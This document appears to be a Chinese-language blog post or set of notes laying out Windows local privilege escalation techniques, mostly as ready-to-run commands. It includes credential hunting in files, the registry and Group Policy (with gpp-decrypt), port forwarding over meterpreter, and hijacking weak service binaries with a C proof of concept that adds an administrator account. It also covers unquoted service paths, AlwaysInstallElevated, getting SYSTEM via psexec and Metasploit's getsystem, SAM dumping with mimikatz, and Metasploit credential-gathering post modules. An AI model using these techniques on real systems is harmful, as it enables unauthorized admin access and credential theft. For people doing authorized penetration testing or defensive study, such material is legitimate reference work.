TL;DR
- A privilege is the right of an account, such as a user or group account, to perform various system-related operations on the local computer, such as shutting down the system, loading device drivers, or changing the system time” (msdn.microsoft.com)
- 首先来说说windows权限提升对于攻击者来说有哪些好处
1.可以尝试更多的攻击手法
2.可以获取到本地用户的哈希
3.可以在网络层进行LLMNR、NBNS投毒等
4.本地抓包
5.安装软件
6.可以从内存中获取明文的认证信息 - 当然本篇文章只是有关单台windows的提权,提权有时还包含内环境的情况,就是从一个普通域用户提权到域管理员用户,这种情况暂不在本文讨论范畴。
- 20200208更新-发现好笔记一处,比我的文章全。。。Windows - Privilege Escalation
基本系统信息枚举
- 在提权之前我们首先需要对这个系统需要有一定的了解,比如需要知道当前用户有哪些权限、系统打了哪些补丁等信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33# Basics
systeminfo
hostname
# Who am I?
whoami
echo %username%
# What users/localgroups are on the machine?
net users
net localgroups
# More info about a specific user. Check if user has privileges.
net user user1
# View Domain Groups
net group /domain
# View Members of Domain Group
net group /domain <Group Name>
# Firewall
netsh firewall show state
netsh firewall show config
# Network
ipconfig /all
route print
arp -A
# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.." - to find specific KBs
明文密码存储
通过以下的命令进行查找
1 | findstr /si password *.txt |
关键文件查找
- 在这些常见的文件中查找,其中有些可能是base64编码的。
1
2
3
4
5
6
7
8
9
10
11
12
13c:\users\xxx\Desktop\password.xls
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
此外还有可能是域环境中的group policy文件
C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml • \\????\SYSVOL\\Policies\????\Machine\Preferences\Groups\Groups.xml
![](grouppolicyfile.png)
注册表查找
1 | # Windows autologin |
仅对内网提供的服务
有时候一些服务只是允许内网用户访问,例如一个mysql服务器为了安全不允许外部进行连接。此外一些拥有高权限的程序往往也是针对内网的网络设备。例如打印机接口等。这些服务服务往往是容易存在漏洞的。
1
netstat -ano
可能输出如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
tcp 0.0.0.0:21 0.0.0.0:* LISTEN 0 0 -
tcp 0.0.0.0:5900 0.0.0.0:* LISTEN 0 0 -
tcp 0.0.0.0:6532 0.0.0.0:* LISTEN 0 0 -
tcp 192.168.1.9:139 0.0.0.0:* LISTEN 0 0 -
tcp 192.168.1.9:139 192.168.1.9:32874 TIME_WAIT 0 0 -
tcp 192.168.1.9:445 192.168.1.9:40648 ESTABLISHED 0 0 -
tcp 192.168.1.9:1166 192.168.1.9:139 TIME_WAIT 0 0 -
tcp 192.168.1.9:27900 0.0.0.0:* LISTEN 0 0 -
tcp 127.0.0.1:445 127.0.0.1:1159 ESTABLISHED 0 0 -
tcp 127.0.0.1:27900 0.0.0.0:* LISTEN 0 0 -
udp 0.0.0.0:135 0.0.0.0:* 0 0 -
udp 192.168.1.9:500 0.0.0.0:* 0 0 -注意监听的端口,对比一下你从外网扫描到的结果,这里面有没有是你外网访问不到的?
如果是这样的,你可以通过端口转发来连接它。
1
2
3
4
5
6# Port forward using plink
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
# Port forward using meterpreter
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.1.101来看一下netstat命令的输出
本地地址 0.0.0.0
- 本地地址0.0.0.0意味着这个服务监听所有的接口,这个意味着所有人都可以连接。
本地地址 127.0.0.1
- 本地地址127.0.0.1意味着只能接受本台pc的连接,不允许任何其它地方的连接。
本地地址 192.168.1.9
- 本地地址192.168.1.9意味着只是监听来自本地网络的连接,所以只有本地的网络可以连接它,外网是不能连接的。
计划任务
通过如下的命令查看计划任务
1
schtasks /query /fo LIST /v
这个输出可能会很多,这个时候可以通过使用findstr命令进行一下过滤,我往往是将其粘贴到txt文档中,然后通过linux命令进行查找。虽然不是很优雅,但是能解决问题,你也可以修改SYSTEM为其它的高权限用户。
1
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
脆弱的服务权限
- 服务是windows上没有图形化界面运行在后台的程序。如果你发现一个服务允许everyone写,那么你可以将你的二进制文件写到这个目录并让它去执行。
- 首先我们可以使用wmic或者sc.exe去发现服务,wmic并不是每台windows机器上都有,且有可能对你当前的用户不可用,如果你用不了它,你可以使用sc.exe
1
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
- 服务程序路径每个人均可修改
2019年12月9日更新,工具RogueWinRM
linkWMIC
1
wmic service list brief
这个命令将会输出当前机器所运行的服务,这个时候我们需要找到这些有权限漏洞的服务,为了检查权限问题我们可以使用icacls这个命令,注意这个命令从vista才开始支持,xp或者以下用的是cacls命令。
- 如下的命令用于查看运行文件在非system32目录下的服务,并且使用icacls查看对应的权限。前提是你能够使用wmic,且你在c:\windows\temp目录有些权限。
1
2
3for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
system32目录被排除了,因为他们大多是正确的,一般都是系统创建的。
sc.exe
1
2
3
4
5
6
7
8sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt现在你就可以使用cacls命令来逐个查看每个文件权限了。
1
cacls "C:\path\to\file.exe"
查看脆弱点
我们需要关注的是用户安装的二进制文件,而不是系统自带的,而且我们想要找的是这样权限的 BUILTIN\Users:(F) ,就是内建用户拥有所有权限的,或者是user/usergroup有F或者C权限的。
例如:1
2
3
4
5C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F这就意味着你当前用户拥有写权限,这个时候你可以重命名这个exe程序,然后将你的恶意程序放在这个目录下。最后重启这个程序,你的恶意程序就会被执行。这个恶意程序可以使用msfvenom来实现反弹shell或者获取最高权限。
下面的poc用于创建一个管理员组的用户
1
2
3
4
5
6
7#include <stdlib.h>
int main ()
{
int i;
i = system("net localgroup administrators theusername /add");
return 0;
}然后我们可以使用mingw编译它
1
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
重启服务
- 现在我们需要重启服务来让我们的“恶意”程序得以执行,我们可以使用wmic命令或者net命令:
1
wmic service NAMEOFSERVICE call startservice
1 | net stop [service name] && net start [service name]. |
- 这个时候你的二进制文件就会以system或者以管理员上下文进行执行。
移植你的meterpreter shell
- 如果你的meterpreter 会话不稳定这个时候你可以迁移到一个稳定的服务上,例如移植到winlogon这个服务上,这个服务是以system权限运行的,且一般是一直运行的。我们可以使用如下的命令查看winlogon的PID
1
wmic process list brief | find "winlogon"
这个是有可以使用 migrate pid 进行转移。
这里有个很好的例子!!!PTP Lab — Privilege Escalation with Services
没有加双引号的服务路径
1 | # Using WMIC |
- 如果路径包含了空格且没有被双引号闭合,那么这个服务是容易受攻击的。
更多
更多1如何利用
如果可执行文件的路径是这样的
1
c:\Program Files\something\winamp.exe
我们可以放如下的程序在这里
1
c:\program.exe
当服务重启的时候将会执行program.exe,我们可以利用任何有空格的目录,不仅仅是program files目录。
- 更多的攻击技巧可以看这里:
http://toshellandback.com/2015/11/24/ms-priv-esc/
metasploit 也有这个模块 exploit/windows/local/trusted_service_pathAlwaysInstallElevated
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI),默认是没有配置的(即无法利用的)。
1
2reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated这个配置错误的不多,更多可以看向这里https://xz.aliyun.com/t/203
组策略
- 如果一个机器是加入域了的,当前用户可以查看系统信息卷,这里可能有敏感的文件。
首先我们需要装载这个卷,为了查找到域控机器的ip地址,我们先看一下环境变量。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21# Output environment-variables
set
# Look for the following:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL
# Look up ip-addres
nslookup nameofserver.whatever.local
# It will output something like this
Address: 192.168.1.101
# Now we mount it
net use z: \\192.168.1.101\SYSVOL
# And enter it
z:
# Now we search for the groups.xml file
dir Groups.xml /s如果发现有password,我们可以使用kali中的工具进行解密
1
gpp-decrypt encryptedpassword
从admin到system权限
- 有些时候需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM,以下总结一下从admin权限到system权限的技巧。
xp和xp之前
- 如果你是一个有GUI界面的管理员组用户,如果你直接打开cmd.exe的时候,你只是以普通用户运行的这个程序,而当你右键以管理员身份运行你需要知道管理员密码。你可能没有管理员密码,这个时候你可以去c:\windows\system32 目录去运行cmd.exe 程序。
我们想要成为system 用户,还需要做以下的工作:
1
2
3time
# Now we set the time we want the system CMD to start. Probably one minuter after the time.
at 01:23 /interactive cmd.exe然后system权限的cmd就出现了。
vista之后或者更新的系统
- 你首先需要上传一个psexec.exe 然后运行如下的命令
1
psexec -i -s cmd.exe
创建服务的方式
1 | sc create syscmd binPath= "cmd /K start" type= own type= interact |
使用metasploit
- 如果你有个metasploit的meterpreter的会话,直接运行getsystem就可以
- xpn专门写了篇文章分析了getsystem中使用的技术
referermimikatz
1
2
3
4privilege::debug
token::whoami
token::elevate
lsadump::sam
使用 mimikatz的驱动进行提权
使用mimikatz的继承父进程权限方法
other
- 这里有个问题,就是system权限是windows最高的权限,那么是不是就可以“为所欲为”?,那么你可以尝试删除一下c:\windows\system32目录下的某个文件(cmd.exe除外不排除有其它的程序),发现竟然删除不了。
- Files in System32 are typically owned by “TrustedInstaller” and are locked down really tightly. If you really, absolutely feel you must do this, the easiest way is to boot from a Linux LiveCD or a Windows install disk.
stackoverflow
Windows 7/8/10 – How to Delete Files Protected by TrustedInstaller - 这个TrustedInstaller是比较有趣的用户,可以理解为安装系统的人,一般的administrator组或者system组的用户都是修改不了所属TrustedInstaller的问题,所以想要修改这种文件,只能通过修改文件所有者才能达到自己想要的结果。
the-art-of-becoming-trustedinstaller后渗透模块
msf
- metasploit有一些有意思的后渗透模块,你需要有一个meterpreter shell 然后去运行这些后渗透模块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17use exploit/windows/local/service_permissions
post/windows/gather/credentials/gpp
run post/windows/gather/credential_collector
run post/multi/recon/local_exploit_suggester
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
Empire
- Empire内置了PowerUp部分工具,用于系统提权。
可参考一篇文章精通PowerShell Empire 2.3脆弱的驱动
- 一些驱动程序也可以帮助我们提权,对这块儿没怎么研究,待更。
1
2# List all drivers
driverquery
漏洞提权
hotpotato
- Hot Potatok利用了windows中已有的一些问题,在windows默认配置下进行本地权限提升。实际是利用了NTLM重放(更确切的说是HTPP->SMB重放),和NBNS欺骗。
ms16032
- 适用Win7-Win10 & 2k8-2k12 <== 32/64 bit!
- 漏洞详情 https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
内核漏洞提权
- 内核提权应该是我们最后万不得已才使用的方法,因为它往往容易导致系统不稳定或造成其它方面的问题。
首先来看一下系统的补丁情况
1
2
3
4
5
6
7
8systeminfo
# or
wmic qfe get Caption,Description,HotFixID,InstalledOn
# metasploit enumerate missing patches
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
# posershell
get-hotfix | Sort-Object HotfixID |format-table查找exploit
- 这里推荐一个工具Watson.exe
- 或者是通过metasploit的post/windows/gather/enum_patches 补丁枚举进而查找对应的提权漏洞进行提权。
python 转换成二进制文件
- 如果我们的exploit是用python写的,但是受害机又没有python环境,这个时候可以使用pyinstaller或者其它工具将其转换成二进制文件。
工具
PowerUp
token窃取和debug权限滥用利用工具incognitoother
- Privilege Escalation: Weaponizing CVE-2019-1405 and CVE-2019-1322
- CVE-2019-1388: Windows UAC 提权 感觉这个挺有意思的,利用了运行consent.exe程序的高权限,使用浏览器打开网页之后再通过浏览器运行cmd.exe。
Reference
Privilege Escalation Windows
Windows Privilege Escalation Techniques (Local)
Level Up! - Practical Windows Privilege Escalation
Windows Privilege Escalation Unquoted Service part1/2/3
RomHack 2018 - show me your Windows privileges and I will lead you to SYSTEM - Pierini
!!! 提权环境-以上